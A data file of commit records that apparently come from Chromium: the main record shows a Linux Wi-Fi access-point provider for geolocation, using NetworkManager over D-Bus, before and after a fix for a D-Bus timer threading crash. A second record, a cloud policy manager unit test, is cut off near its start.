{"text":"<commit_before>\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n\/\/ Provides wifi scan API binding for suitable for typical linux distributions.\n\/\/ Currently, only the NetworkManager API is used, accessed via D-Bus (in turn\n\/\/ accessed via the GLib wrapper).\n\n#include \"chrome\/browser\/geolocation\/wifi_data_provider_linux.h\"\n\n#include <dbus\/dbus-glib.h>\n#include <glib.h>\n\n#include \"base\/scoped_ptr.h\"\n#include \"base\/utf_string_conversions.h\"\n\nnamespace {\n\/\/ The time periods between successive polls of the wifi data.\nconst int kDefaultPollingIntervalMilliseconds = 10 * 1000;  \/\/ 10s\nconst int kNoChangePollingIntervalMilliseconds = 2 * 60 * 1000;  \/\/ 2 mins\nconst int kTwoNoChangePollingIntervalMilliseconds = 10 * 60 * 1000;  \/\/ 10 mins\n\nconst char kNetworkManagerServiceName[] = \"org.freedesktop.NetworkManager\";\nconst char kNetworkManagerPath[] = \"\/org\/freedesktop\/NetworkManager\";\nconst char kNetworkManagerInterface[] = \"org.freedesktop.NetworkManager\";\n\n\/\/ From http:\/\/projects.gnome.org\/NetworkManager\/developers\/spec.html\nenum { NM_DEVICE_TYPE_WIFI = 2 };\n\n\/\/ Utility wrappers to make various GLib & DBus structs into scoped objects.\nclass ScopedGPtrArrayFree {\n public:\n  void operator()(GPtrArray* x) const {\n    if (x)\n      g_ptr_array_free(x, TRUE);\n  }\n};\n\/\/ Use ScopedGPtrArrayPtr as if it were scoped_ptr<GPtrArray>\ntypedef scoped_ptr_malloc<GPtrArray, ScopedGPtrArrayFree> ScopedGPtrArrayPtr;\n\nclass ScopedGObjectFree {\n public:\n  void operator()(void* x) const {\n    if (x)\n      g_object_unref(x);\n  }\n};\n\/\/ Use ScopedDBusGProxyPtr as if it were scoped_ptr<DBusGProxy>\ntypedef scoped_ptr_malloc<DBusGProxy, ScopedGObjectFree> ScopedDBusGProxyPtr;\n\n\/\/ Use ScopedGValue::v as an instance of GValue with automatic cleanup.\nclass ScopedGValue {\n public:\n  ScopedGValue()\n      : v(empty_gvalue()) {\n  }\n  ~ScopedGValue() {\n    g_value_unset(&v);\n  }\n  static GValue empty_gvalue() {\n    GValue value = {0};\n    return value;\n  }\n\n  GValue v;\n};\n\n\/\/ Wifi API binding to NetworkManager, to allow reuse of the polling behavior\n\/\/ defined in WifiDataProviderCommon.\n\/\/ TODO(joth): NetworkManager also allows for notification based handling,\n\/\/ however this will require reworking of the threading code to run a GLib\n\/\/ event loop (GMainLoop).\nclass NetworkManagerWlanApi : public WifiDataProviderCommon::WlanApiInterface {\n public:\n  NetworkManagerWlanApi();\n  ~NetworkManagerWlanApi();\n\n  \/\/ Must be called before any other interface method. Will return false if the\n  \/\/ NetworkManager session cannot be created (e.g. not present on this distro),\n  \/\/ in which case no other method may be called.\n  bool Init();\n\n  \/\/ WifiDataProviderCommon::WlanApiInterface\n  bool GetAccessPointData(WifiData::AccessPointDataSet* data);\n\n private:\n  \/\/ Checks if the last dbus call returned an error.  If it did, logs the error\n  \/\/ message, frees it and returns true.\n  \/\/ This must be called after every dbus call that accepts |&error_|\n  bool CheckError();\n\n  \/\/ Enumerates the list of available network adapter devices known to\n  \/\/ NetworkManager. Ownership of the array (and contained objects) is returned\n  \/\/ to the caller.\n  GPtrArray* GetAdapterDeviceList();\n\n  \/\/ Given the NetworkManager path to a wireless adapater, dumps the wifi scan\n  \/\/ results and appends them to |data|. Returns false if a fatal error is\n  \/\/ encountered such that the data set could not be populated.\n  bool GetAccessPointsForAdapter(const gchar* adapter_path,\n                                 WifiData::AccessPointDataSet* data);\n\n  \/\/ Internal method used by |GetAccessPointsForAdapter|, given a wifi access\n  \/\/ point proxy retrieves the named property into |value_out|. Returns false if\n  \/\/ the property could not be read, or is not of type |expected_gvalue_type|.\n  bool GetAccessPointProperty(DBusGProxy* proxy, const char* property_name,\n                              int expected_gvalue_type, GValue* value_out);\n\n  \/\/ Error from the last dbus call.  NULL when there's no error.  Freed and\n  \/\/ cleared by CheckError().\n  GError* error_;\n  \/\/ Connection to the dbus system bus.\n  DBusGConnection* connection_;\n  \/\/ Proxy to the network maanger dbus service.\n  ScopedDBusGProxyPtr proxy_;\n\n  DISALLOW_COPY_AND_ASSIGN(NetworkManagerWlanApi);\n};\n\n\/\/ Convert a wifi frequency to the corresponding channel. Adapted from\n\/\/ geolocaiton\/wifilib.cc in googleclient (internal to google).\nint frquency_in_khz_to_channel(int frequency_khz) {\n  if (frequency_khz >= 2412000 && frequency_khz <= 2472000)  \/\/ Channels 1-13.\n    return (frequency_khz - 2407000) \/ 5000;\n  if (frequency_khz == 2484000)\n    return 14;\n  if (frequency_khz > 5000000 && frequency_khz < 6000000)  \/\/ .11a bands.\n    return (frequency_khz - 5000000) \/ 5000;\n  \/\/ Ignore everything else.\n  return AccessPointData().channel;  \/\/ invalid channel\n}\n\nNetworkManagerWlanApi::NetworkManagerWlanApi()\n    : error_(NULL), connection_(NULL) {\n}\n\nNetworkManagerWlanApi::~NetworkManagerWlanApi() {\n  proxy_.reset();\n  if (connection_) {\n    dbus_g_connection_unref(connection_);\n  }\n  DCHECK(!error_) << \"Missing a call to CheckError() to clear |error_|\";\n}\n\nbool NetworkManagerWlanApi::Init() {\n  \/\/ Chrome DLL init code handles initializing the thread system, so rather than\n  \/\/ get caught up with that nonsense here, lets just assert our requirement.\n  CHECK(g_thread_supported());\n\n  \/\/ We should likely do this higher up too, the docs say it must only be done\n  \/\/ once but there's no way to know if it already was or not.\n  dbus_g_thread_init();\n\n  \/\/ Get a connection to the session bus.\n  connection_ = dbus_g_bus_get(DBUS_BUS_SYSTEM, &error_);\n  if (CheckError())\n    return false;\n  DCHECK(connection_);\n\n  proxy_.reset(dbus_g_proxy_new_for_name(connection_,\n                                         kNetworkManagerServiceName,\n                                         kNetworkManagerPath,\n                                         kNetworkManagerInterface));\n  DCHECK(proxy_.get());\n\n  \/\/ Validate the proxy object by checking we can enumerate devices.\n  ScopedGPtrArrayPtr device_list(GetAdapterDeviceList());\n  return !!device_list.get();\n}\n\nbool NetworkManagerWlanApi::GetAccessPointData(\n    WifiData::AccessPointDataSet* data) {\n  ScopedGPtrArrayPtr device_list(GetAdapterDeviceList());\n  if (device_list == NULL) {\n    DLOG(WARNING) << \"Could not enumerate access points\";\n    return false;\n  }\n  int success_count = 0;\n  int fail_count = 0;\n\n  \/\/ Iterate the devices, getting APs for each wireless adapter found\n  for (guint i = 0; i < device_list->len; i++) {\n    const gchar* device_path =\n        reinterpret_cast<const gchar*>(g_ptr_array_index(device_list, i));\n\n    ScopedDBusGProxyPtr device_properties_proxy(dbus_g_proxy_new_from_proxy(\n        proxy_.get(), DBUS_INTERFACE_PROPERTIES, device_path));\n    ScopedGValue device_type_g_value;\n    dbus_g_proxy_call(device_properties_proxy.get(), \"Get\",  &error_,\n                      G_TYPE_STRING, \"org.freedesktop.NetworkManager.Device\",\n                      G_TYPE_STRING, \"DeviceType\",\n                      G_TYPE_INVALID,\n                      G_TYPE_VALUE,   &device_type_g_value.v,\n                      G_TYPE_INVALID);\n    if (CheckError())\n      continue;\n\n    const guint device_type = g_value_get_uint(&device_type_g_value.v);\n\n    if (device_type == NM_DEVICE_TYPE_WIFI) {  \/\/ Found a wlan adapter\n      if (GetAccessPointsForAdapter(device_path, data))\n        ++success_count;\n      else\n        ++fail_count;\n    }\n  }\n  \/\/ At least one successfull scan overrides any other adapter reporting error.\n  return success_count || fail_count == 0;\n}\n\nbool NetworkManagerWlanApi::CheckError() {\n  if (error_) {\n    LOG(ERROR) << \"Failed to complete NetworkManager call: \" << error_->message;\n    g_error_free(error_);\n    error_ = NULL;\n    return true;\n  }\n  return false;\n}\n\nGPtrArray* NetworkManagerWlanApi::GetAdapterDeviceList() {\n  GPtrArray* device_list = NULL;\n  dbus_g_proxy_call(proxy_.get(), \"GetDevices\", &error_,\n                    G_TYPE_INVALID,\n                    dbus_g_type_get_collection(\"GPtrArray\",\n                                               DBUS_TYPE_G_OBJECT_PATH),\n                    &device_list,\n                    G_TYPE_INVALID);\n  if (CheckError())\n    return NULL;\n  return device_list;\n}\n\nbool NetworkManagerWlanApi::GetAccessPointsForAdapter(\n    const gchar* adapter_path, WifiData::AccessPointDataSet* data) {\n  DCHECK(proxy_.get());\n\n  \/\/ Create a proxy object for this wifi adapter, and ask it to do a scan\n  \/\/ (or at least, dump its scan results).\n  ScopedDBusGProxyPtr wifi_adapter_proxy(dbus_g_proxy_new_from_proxy(\n      proxy_.get(), \"org.freedesktop.NetworkManager.Device.Wireless\",\n      adapter_path));\n\n  GPtrArray* ap_list_raw = NULL;\n  \/\/ Enumerate the access points for this adapter.\n  dbus_g_proxy_call(wifi_adapter_proxy.get(), \"GetAccessPoints\",  &error_,\n                    G_TYPE_INVALID,\n                    dbus_g_type_get_collection(\"GPtrArray\",\n                                               DBUS_TYPE_G_OBJECT_PATH),\n                    &ap_list_raw,\n                    G_TYPE_INVALID);\n  ScopedGPtrArrayPtr ap_list(ap_list_raw);  \/\/ Takes ownership.\n  ap_list_raw = NULL;\n\n  if (CheckError())\n    return false;\n\n  DLOG(INFO) << \"Wireless adapter \" << adapter_path << \" found \"\n             << ap_list->len << \" access points.\";\n\n  for (guint i = 0; i < ap_list->len; i++) {\n    const gchar* ap_path =\n        reinterpret_cast<const gchar*>(g_ptr_array_index(ap_list, i));\n    ScopedDBusGProxyPtr access_point_proxy(dbus_g_proxy_new_from_proxy(\n        proxy_.get(), DBUS_INTERFACE_PROPERTIES, ap_path));\n\n    AccessPointData access_point_data;\n    {  \/\/ Read SSID.\n      ScopedGValue ssid_g_value;\n      if (!GetAccessPointProperty(access_point_proxy.get(), \"Ssid\",\n                                  G_TYPE_BOXED, &ssid_g_value.v))\n        continue;\n      const GArray* ssid =\n          reinterpret_cast<const GArray*>(g_value_get_boxed(&ssid_g_value.v));\n      UTF8ToUTF16(ssid->data, ssid->len, &access_point_data.ssid);\n    }\n\n    { \/\/ Read the mac address\n      ScopedGValue mac_g_value;\n      if (!GetAccessPointProperty(access_point_proxy.get(), \"HwAddress\",\n                                  G_TYPE_STRING, &mac_g_value.v))\n        continue;\n      std::string mac = g_value_get_string(&mac_g_value.v);\n      ReplaceSubstringsAfterOffset(&mac, 0U, \":\", \"\");\n      std::vector<uint8> mac_bytes;\n      if (!HexStringToBytes(mac, &mac_bytes) || mac_bytes.size() != 6) {\n        DLOG(WARNING) << \"Can't parse mac address (found \" << mac_bytes.size()\n                      << \" bytes) so using raw string: \" << mac;\n        access_point_data.mac_address = UTF8ToUTF16(mac);\n      } else {\n        access_point_data.mac_address = MacAddressAsString16(&mac_bytes[0]);\n      }\n    }\n\n    {  \/\/ Read signal strength.\n      ScopedGValue signal_g_value;\n      if (!GetAccessPointProperty(access_point_proxy.get(), \"Strength\",\n                                  G_TYPE_UCHAR, &signal_g_value.v))\n        continue;\n      \/\/ Convert strength as a percentage into dBs.\n      access_point_data.radio_signal_strength =\n          -100 + g_value_get_uchar(&signal_g_value.v) \/ 2;\n    }\n\n    { \/\/ Read the channel\n      ScopedGValue freq_g_value;\n      if (!GetAccessPointProperty(access_point_proxy.get(), \"Frequency\",\n                                  G_TYPE_UINT, &freq_g_value.v))\n        continue;\n      \/\/ NetworkManager returns frequency in MHz.\n      access_point_data.channel =\n          frquency_in_khz_to_channel(g_value_get_uint(&freq_g_value.v) * 1000);\n    }\n    data->insert(access_point_data);\n  }\n  return true;\n}\n\nbool NetworkManagerWlanApi::GetAccessPointProperty(DBusGProxy* proxy,\n                                                   const char* property_name,\n                                                   int expected_gvalue_type,\n                                                   GValue* value_out) {\n  dbus_g_proxy_call(proxy, \"Get\", &error_,\n                    G_TYPE_STRING, \"org.freedesktop.NetworkManager.AccessPoint\",\n                    G_TYPE_STRING, property_name,\n                    G_TYPE_INVALID,\n                    G_TYPE_VALUE, value_out,\n                    G_TYPE_INVALID);\n  if (CheckError())\n    return false;\n  if (!G_VALUE_HOLDS(value_out, expected_gvalue_type)) {\n    DLOG(WARNING) << \"Property \" << property_name << \" unexptected type \"\n                  << G_VALUE_TYPE(value_out);\n    return false;\n  }\n  return true;\n}\n\n}  \/\/ namespace\n\n\/\/ static\ntemplate<>\nWifiDataProviderImplBase* WifiDataProvider::DefaultFactoryFunction() {\n  return new WifiDataProviderLinux();\n}\n\nWifiDataProviderLinux::WifiDataProviderLinux() {\n}\n\nWifiDataProviderLinux::~WifiDataProviderLinux() {\n}\n\nWifiDataProviderCommon::WlanApiInterface*\nWifiDataProviderLinux::NewWlanApi() {\n  scoped_ptr<NetworkManagerWlanApi> wlan_api(new NetworkManagerWlanApi);\n  if (wlan_api->Init())\n    return wlan_api.release();\n  return NULL;\n}\n\nPollingPolicyInterface* WifiDataProviderLinux::NewPollingPolicy() {\n  return new GenericPollingPolicy<kDefaultPollingIntervalMilliseconds,\n                                  kNoChangePollingIntervalMilliseconds,\n                                  kTwoNoChangePollingIntervalMilliseconds>;\n}\n\n<commit_msg>Work-around for DBus crash due to timers firing on the wrong thread.<commit_after>\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n\/\/ Provides wifi scan API binding for suitable for typical linux distributions.\n\/\/ Currently, only the NetworkManager API is used, accessed via D-Bus (in turn\n\/\/ accessed via the GLib wrapper).\n\n#include \"chrome\/browser\/geolocation\/wifi_data_provider_linux.h\"\n\n#include <dbus\/dbus-glib.h>\n#include <dbus\/dbus-glib-lowlevel.h>\n#include <dbus\/dbus.h>\n#include <glib.h>\n\n#include \"base\/scoped_ptr.h\"\n#include \"base\/utf_string_conversions.h\"\n\nnamespace {\n\/\/ The time periods between successive polls of the wifi data.\nconst int kDefaultPollingIntervalMilliseconds = 10 * 1000;  \/\/ 10s\nconst int kNoChangePollingIntervalMilliseconds = 2 * 60 * 1000;  \/\/ 2 mins\nconst int kTwoNoChangePollingIntervalMilliseconds = 10 * 60 * 1000;  \/\/ 10 mins\n\nconst char kNetworkManagerServiceName[] = \"org.freedesktop.NetworkManager\";\nconst char kNetworkManagerPath[] = \"\/org\/freedesktop\/NetworkManager\";\nconst char kNetworkManagerInterface[] = \"org.freedesktop.NetworkManager\";\n\n\/\/ From http:\/\/projects.gnome.org\/NetworkManager\/developers\/spec.html\nenum { NM_DEVICE_TYPE_WIFI = 2 };\n\n\/\/ Utility wrappers to make various GLib & DBus structs into scoped objects.\nclass ScopedGPtrArrayFree {\n public:\n  void operator()(GPtrArray* x) const {\n    if (x)\n      g_ptr_array_free(x, TRUE);\n  }\n};\n\/\/ Use ScopedGPtrArrayPtr as if it were scoped_ptr<GPtrArray>\ntypedef scoped_ptr_malloc<GPtrArray, ScopedGPtrArrayFree> ScopedGPtrArrayPtr;\n\nclass ScopedGObjectFree {\n public:\n  void operator()(void* x) const {\n    if (x)\n      g_object_unref(x);\n  }\n};\n\/\/ Use ScopedDBusGProxyPtr as if it were scoped_ptr<DBusGProxy>\ntypedef scoped_ptr_malloc<DBusGProxy, ScopedGObjectFree> ScopedDBusGProxyPtr;\n\n\/\/ Use ScopedGValue::v as an instance of GValue with automatic cleanup.\nclass ScopedGValue {\n public:\n  ScopedGValue()\n      : v(empty_gvalue()) {\n  }\n  ~ScopedGValue() {\n    g_value_unset(&v);\n  }\n  static GValue empty_gvalue() {\n    GValue value = {0};\n    return value;\n  }\n\n  GValue v;\n};\n\n\/\/ Wifi API binding to NetworkManager, to allow reuse of the polling behavior\n\/\/ defined in WifiDataProviderCommon.\n\/\/ TODO(joth): NetworkManager also allows for notification based handling,\n\/\/ however this will require reworking of the threading code to run a GLib\n\/\/ event loop (GMainLoop).\nclass NetworkManagerWlanApi : public WifiDataProviderCommon::WlanApiInterface {\n public:\n  NetworkManagerWlanApi();\n  ~NetworkManagerWlanApi();\n\n  \/\/ Must be called before any other interface method. Will return false if the\n  \/\/ NetworkManager session cannot be created (e.g. not present on this distro),\n  \/\/ in which case no other method may be called.\n  bool Init();\n\n  \/\/ WifiDataProviderCommon::WlanApiInterface\n  bool GetAccessPointData(WifiData::AccessPointDataSet* data);\n\n private:\n  \/\/ Checks if the last dbus call returned an error.  If it did, logs the error\n  \/\/ message, frees it and returns true.\n  \/\/ This must be called after every dbus call that accepts |&error_|\n  bool CheckError();\n\n  \/\/ Enumerates the list of available network adapter devices known to\n  \/\/ NetworkManager. Ownership of the array (and contained objects) is returned\n  \/\/ to the caller.\n  GPtrArray* GetAdapterDeviceList();\n\n  \/\/ Given the NetworkManager path to a wireless adapater, dumps the wifi scan\n  \/\/ results and appends them to |data|. Returns false if a fatal error is\n  \/\/ encountered such that the data set could not be populated.\n  bool GetAccessPointsForAdapter(const gchar* adapter_path,\n                                 WifiData::AccessPointDataSet* data);\n\n  \/\/ Internal method used by |GetAccessPointsForAdapter|, given a wifi access\n  \/\/ point proxy retrieves the named property into |value_out|. Returns false if\n  \/\/ the property could not be read, or is not of type |expected_gvalue_type|.\n  bool GetAccessPointProperty(DBusGProxy* proxy, const char* property_name,\n                              int expected_gvalue_type, GValue* value_out);\n\n  \/\/ Error from the last dbus call.  NULL when there's no error.  Freed and\n  \/\/ cleared by CheckError().\n  GError* error_;\n  \/\/ Connection to the dbus system bus.\n  DBusGConnection* connection_;\n  \/\/ Proxy to the network maanger dbus service.\n  ScopedDBusGProxyPtr proxy_;\n\n  DISALLOW_COPY_AND_ASSIGN(NetworkManagerWlanApi);\n};\n\n\/\/ Convert a wifi frequency to the corresponding channel. Adapted from\n\/\/ geolocaiton\/wifilib.cc in googleclient (internal to google).\nint frquency_in_khz_to_channel(int frequency_khz) {\n  if (frequency_khz >= 2412000 && frequency_khz <= 2472000)  \/\/ Channels 1-13.\n    return (frequency_khz - 2407000) \/ 5000;\n  if (frequency_khz == 2484000)\n    return 14;\n  if (frequency_khz > 5000000 && frequency_khz < 6000000)  \/\/ .11a bands.\n    return (frequency_khz - 5000000) \/ 5000;\n  \/\/ Ignore everything else.\n  return AccessPointData().channel;  \/\/ invalid channel\n}\n\nNetworkManagerWlanApi::NetworkManagerWlanApi()\n    : error_(NULL), connection_(NULL) {\n}\n\nNetworkManagerWlanApi::~NetworkManagerWlanApi() {\n  proxy_.reset();\n  if (connection_) {\n    dbus_g_connection_unref(connection_);\n  }\n  DCHECK(!error_) << \"Missing a call to CheckError() to clear |error_|\";\n}\n\nbool NetworkManagerWlanApi::Init() {\n  \/\/ Chrome DLL init code handles initializing the thread system, so rather than\n  \/\/ get caught up with that nonsense here, lets just assert our requirement.\n  CHECK(g_thread_supported());\n\n  \/\/ We should likely do this higher up too, the docs say it must only be done\n  \/\/ once but there's no way to know if it already was or not.\n  dbus_g_thread_init();\n\n  \/\/ Get a connection to the session bus.\n  connection_ = dbus_g_bus_get(DBUS_BUS_SYSTEM, &error_);\n  if (CheckError())\n    return false;\n  DCHECK(connection_);\n\n  \/\/ dbus-glib queues timers that get fired on the default loop, unfortunately\n  \/\/ it isn't thread safe in it's handling of these timers. We can't easily\n  \/\/ tell it which loop to queue them on instead, but as we only make\n  \/\/ blocking sync calls we don't need timers anyway, so disable them.\n  \/\/ See http:\/\/crbug.com\/40803 TODO(joth): This is not an ideal solution, as\n  \/\/ we're reconfiguring the process global system bus connection, so could\n  \/\/ impact other users of DBus.\n  dbus_bool_t ok = dbus_connection_set_timeout_functions(\n      dbus_g_connection_get_connection(connection_),\n      NULL, NULL, NULL, NULL, NULL);\n  DCHECK(ok);\n\n  proxy_.reset(dbus_g_proxy_new_for_name(connection_,\n                                         kNetworkManagerServiceName,\n                                         kNetworkManagerPath,\n                                         kNetworkManagerInterface));\n  DCHECK(proxy_.get());\n\n  \/\/ Validate the proxy object by checking we can enumerate devices.\n  ScopedGPtrArrayPtr device_list(GetAdapterDeviceList());\n  return !!device_list.get();\n}\n\nbool NetworkManagerWlanApi::GetAccessPointData(\n    WifiData::AccessPointDataSet* data) {\n  ScopedGPtrArrayPtr device_list(GetAdapterDeviceList());\n  if (device_list == NULL) {\n    DLOG(WARNING) << \"Could not enumerate access points\";\n    return false;\n  }\n  int success_count = 0;\n  int fail_count = 0;\n\n  \/\/ Iterate the devices, getting APs for each wireless adapter found\n  for (guint i = 0; i < device_list->len; i++) {\n    const gchar* device_path =\n        reinterpret_cast<const gchar*>(g_ptr_array_index(device_list, i));\n\n    ScopedDBusGProxyPtr device_properties_proxy(dbus_g_proxy_new_from_proxy(\n        proxy_.get(), DBUS_INTERFACE_PROPERTIES, device_path));\n    ScopedGValue device_type_g_value;\n    dbus_g_proxy_call(device_properties_proxy.get(), \"Get\",  &error_,\n                      G_TYPE_STRING, \"org.freedesktop.NetworkManager.Device\",\n                      G_TYPE_STRING, \"DeviceType\",\n                      G_TYPE_INVALID,\n                      G_TYPE_VALUE,   &device_type_g_value.v,\n                      G_TYPE_INVALID);\n    if (CheckError())\n      continue;\n\n    const guint device_type = g_value_get_uint(&device_type_g_value.v);\n\n    if (device_type == NM_DEVICE_TYPE_WIFI) {  \/\/ Found a wlan adapter\n      if (GetAccessPointsForAdapter(device_path, data))\n        ++success_count;\n      else\n        ++fail_count;\n    }\n  }\n  \/\/ At least one successfull scan overrides any other adapter reporting error.\n  return success_count || fail_count == 0;\n}\n\nbool NetworkManagerWlanApi::CheckError() {\n  if (error_) {\n    LOG(ERROR) << \"Failed to complete NetworkManager call: \" << error_->message;\n    g_error_free(error_);\n    error_ = NULL;\n    return true;\n  }\n  return false;\n}\n\nGPtrArray* NetworkManagerWlanApi::GetAdapterDeviceList() {\n  GPtrArray* device_list = NULL;\n  dbus_g_proxy_call(proxy_.get(), \"GetDevices\", &error_,\n                    G_TYPE_INVALID,\n                    dbus_g_type_get_collection(\"GPtrArray\",\n                                               DBUS_TYPE_G_OBJECT_PATH),\n                    &device_list,\n                    G_TYPE_INVALID);\n  if (CheckError())\n    return NULL;\n  return device_list;\n}\n\nbool NetworkManagerWlanApi::GetAccessPointsForAdapter(\n    const gchar* adapter_path, WifiData::AccessPointDataSet* data) {\n  DCHECK(proxy_.get());\n\n  \/\/ Create a proxy object for this wifi adapter, and ask it to do a scan\n  \/\/ (or at least, dump its scan results).\n  ScopedDBusGProxyPtr wifi_adapter_proxy(dbus_g_proxy_new_from_proxy(\n      proxy_.get(), \"org.freedesktop.NetworkManager.Device.Wireless\",\n      adapter_path));\n\n  GPtrArray* ap_list_raw = NULL;\n  \/\/ Enumerate the access points for this adapter.\n  dbus_g_proxy_call(wifi_adapter_proxy.get(), \"GetAccessPoints\",  &error_,\n                    G_TYPE_INVALID,\n                    dbus_g_type_get_collection(\"GPtrArray\",\n                                               DBUS_TYPE_G_OBJECT_PATH),\n                    &ap_list_raw,\n                    G_TYPE_INVALID);\n  ScopedGPtrArrayPtr ap_list(ap_list_raw);  \/\/ Takes ownership.\n  ap_list_raw = NULL;\n\n  if (CheckError())\n    return false;\n\n  DLOG(INFO) << \"Wireless adapter \" << adapter_path << \" found \"\n             << ap_list->len << \" access points.\";\n\n  for (guint i = 0; i < ap_list->len; i++) {\n    const gchar* ap_path =\n        reinterpret_cast<const gchar*>(g_ptr_array_index(ap_list, i));\n    ScopedDBusGProxyPtr access_point_proxy(dbus_g_proxy_new_from_proxy(\n        proxy_.get(), DBUS_INTERFACE_PROPERTIES, ap_path));\n\n    AccessPointData access_point_data;\n    {  \/\/ Read SSID.\n      ScopedGValue ssid_g_value;\n      if (!GetAccessPointProperty(access_point_proxy.get(), \"Ssid\",\n                                  G_TYPE_BOXED, &ssid_g_value.v))\n        continue;\n      const GArray* ssid =\n          reinterpret_cast<const GArray*>(g_value_get_boxed(&ssid_g_value.v));\n      UTF8ToUTF16(ssid->data, ssid->len, &access_point_data.ssid);\n    }\n\n    { \/\/ Read the mac address\n      ScopedGValue mac_g_value;\n      if (!GetAccessPointProperty(access_point_proxy.get(), \"HwAddress\",\n                                  G_TYPE_STRING, &mac_g_value.v))\n        continue;\n      std::string mac = g_value_get_string(&mac_g_value.v);\n      ReplaceSubstringsAfterOffset(&mac, 0U, \":\", \"\");\n      std::vector<uint8> mac_bytes;\n      if (!HexStringToBytes(mac, &mac_bytes) || mac_bytes.size() != 6) {\n        DLOG(WARNING) << \"Can't parse mac address (found \" << mac_bytes.size()\n                      << \" bytes) so using raw string: \" << mac;\n        access_point_data.mac_address = UTF8ToUTF16(mac);\n      } else {\n        access_point_data.mac_address = MacAddressAsString16(&mac_bytes[0]);\n      }\n    }\n\n    {  \/\/ Read signal strength.\n      ScopedGValue signal_g_value;\n      if (!GetAccessPointProperty(access_point_proxy.get(), \"Strength\",\n                                  G_TYPE_UCHAR, &signal_g_value.v))\n        continue;\n      \/\/ Convert strength as a percentage into dBs.\n      access_point_data.radio_signal_strength =\n          -100 + g_value_get_uchar(&signal_g_value.v) \/ 2;\n    }\n\n    { \/\/ Read the channel\n      ScopedGValue freq_g_value;\n      if (!GetAccessPointProperty(access_point_proxy.get(), \"Frequency\",\n                                  G_TYPE_UINT, &freq_g_value.v))\n        continue;\n      \/\/ NetworkManager returns frequency in MHz.\n      access_point_data.channel =\n          frquency_in_khz_to_channel(g_value_get_uint(&freq_g_value.v) * 1000);\n    }\n    data->insert(access_point_data);\n  }\n  return true;\n}\n\nbool NetworkManagerWlanApi::GetAccessPointProperty(DBusGProxy* proxy,\n                                                   const char* property_name,\n                                                   int expected_gvalue_type,\n                                                   GValue* value_out) {\n  dbus_g_proxy_call(proxy, \"Get\", &error_,\n                    G_TYPE_STRING, \"org.freedesktop.NetworkManager.AccessPoint\",\n                    G_TYPE_STRING, property_name,\n                    G_TYPE_INVALID,\n                    G_TYPE_VALUE, value_out,\n                    G_TYPE_INVALID);\n  if (CheckError())\n    return false;\n  if (!G_VALUE_HOLDS(value_out, expected_gvalue_type)) {\n    DLOG(WARNING) << \"Property \" << property_name << \" unexptected type \"\n                  << G_VALUE_TYPE(value_out);\n    return false;\n  }\n  return true;\n}\n\n}  \/\/ namespace\n\n\/\/ static\ntemplate<>\nWifiDataProviderImplBase* WifiDataProvider::DefaultFactoryFunction() {\n  return new WifiDataProviderLinux();\n}\n\nWifiDataProviderLinux::WifiDataProviderLinux() {\n}\n\nWifiDataProviderLinux::~WifiDataProviderLinux() {\n}\n\nWifiDataProviderCommon::WlanApiInterface*\nWifiDataProviderLinux::NewWlanApi() {\n  scoped_ptr<NetworkManagerWlanApi> wlan_api(new NetworkManagerWlanApi);\n  if (wlan_api->Init())\n    return wlan_api.release();\n  return NULL;\n}\n\nPollingPolicyInterface* WifiDataProviderLinux::NewPollingPolicy() {\n  return new GenericPollingPolicy<kDefaultPollingIntervalMilliseconds,\n                                  kNoChangePollingIntervalMilliseconds,\n                                  kTwoNoChangePollingIntervalMilliseconds>;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/policy\/cloud_policy_manager.h\"\n\n#include \"base\/basictypes.h\"\n#include \"base\/compiler_specific.h\"\n#include \"base\/memory\/scoped_ptr.h\"\n#include \"base\/message_loop.h\"\n#include \"chrome\/browser\/policy\/configuration_policy_provider_test.h\"\n#include \"chrome\/browser\/policy\/mock_cloud_policy_client.h\"\n#include \"chrome\/browser\/policy\/mock_cloud_policy_store.h\"\n#include \"chrome\/browser\/policy\/mock_configuration_policy_provider.h\"\n#include \"chrome\/browser\/policy\/policy_builder.h\"\n#include \"testing\/gmock\/include\/gmock\/gmock.h\"\n#include \"testing\/gtest\/include\/gtest\/gtest.h\"\n\nusing testing::Mock;\nusing testing::_;\n\nnamespace em = enterprise_management;\n\nnamespace policy {\nnamespace {\n\nclass TestHarness : public PolicyProviderTestHarness {\n public:\n  explicit TestHarness(PolicyLevel level);\n  virtual ~TestHarness();\n\n  virtual void SetUp() OVERRIDE;\n\n  virtual ConfigurationPolicyProvider* CreateProvider(\n      const PolicyDefinitionList* policy_definition_list) OVERRIDE;\n\n  virtual void InstallEmptyPolicy() OVERRIDE;\n  virtual void InstallStringPolicy(const std::string& policy_name,\n                                   const std::string& policy_value) OVERRIDE;\n  virtual void InstallIntegerPolicy(const std::string& policy_name,\n                                    int policy_value) OVERRIDE;\n  virtual void InstallBooleanPolicy(const std::string& policy_name,\n                                    bool policy_value) OVERRIDE;\n  virtual void InstallStringListPolicy(\n      const std::string& policy_name,\n      const base::ListValue* policy_value) OVERRIDE;\n  virtual void InstallDictionaryPolicy(\n      const std::string& policy_name,\n      const base::DictionaryValue* policy_value) OVERRIDE;\n\n  \/\/ Creates harnesses for mandatory and recommended levels, respectively.\n  static PolicyProviderTestHarness* CreateMandatory();\n  static PolicyProviderTestHarness* CreateRecommended();\n\n private:\n  MockCloudPolicyStore* store_;\n\n  DISALLOW_COPY_AND_ASSIGN(TestHarness);\n};\n\nTestHarness::TestHarness(PolicyLevel level)\n    : PolicyProviderTestHarness(level, POLICY_SCOPE_USER) {}\n\nTestHarness::~TestHarness() {}\n\nvoid TestHarness::SetUp() {}\n\nConfigurationPolicyProvider* TestHarness::CreateProvider(\n    const PolicyDefinitionList* policy_definition_list) {\n  \/\/ Create and initialize the store.\n  store_ = new MockCloudPolicyStore();\n  store_->NotifyStoreLoaded();\n  EXPECT_CALL(*store_, Load());\n  return new CloudPolicyManager(scoped_ptr<CloudPolicyStore>(store_));\n  Mock::VerifyAndClearExpectations(store_);\n}\n\nvoid TestHarness::InstallEmptyPolicy() {}\n\nvoid TestHarness::InstallStringPolicy(const std::string& policy_name,\n                                      const std::string& policy_value) {\n  store_->policy_map_.Set(policy_name, policy_level(), 